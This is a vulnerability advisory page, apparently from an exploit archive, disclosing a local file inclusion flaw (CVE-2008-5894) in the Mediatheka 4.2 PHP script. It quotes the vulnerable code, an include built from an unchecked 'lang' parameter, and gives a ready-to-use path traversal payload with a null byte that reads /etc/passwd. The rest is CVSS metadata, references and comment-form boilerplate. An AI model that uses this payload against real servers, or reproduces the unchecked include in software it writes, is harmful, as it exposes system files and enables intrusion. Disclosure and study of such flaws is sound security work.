Mediatheka 4.2 (index.php lang) Local File Inclusion Vulnerability

2009.01.14

Credit: Osirys

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-5894

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

[START]
#########################################################################################
[0x01] Informations:
Script : Mediatheka 4.2
Download : http://www.hotscripts.com/jump.php?listing_id=79106&jump_type=1
Vulnerability : Local File Inclusion
Author : Osirys
Contact : osirys[at]live[dot]it
Notes : Proud to be Italian
Greets: : XaDoS, x0r, emgent, Jay, str0ke
#########################################################################################
[0x02] Bug:[Local File Inclusion]
######
Bugged file is: /[path]/index.php
[CODE]
if(isset($_GET['lang']))
$lang = $_GET['lang'];
else
$lang = 'en';
include("langs/$lang.php");
[/CODE]
[!] EXPLOIT: /[path]/index.php?lang=[local_file_to_include]
../../../../../../../../../../../etc/passwd%00
#########################################################################################
[/END]

References:

http://xforce.iss.net/xforce/xfdb/47349

http://www.securityfocus.com/bid/32815

http://www.milw0rm.com/exploits/7458

http://secunia.com/advisories/33176

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Mediatheka 4.2 (index.php lang) Local File Inclusion Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.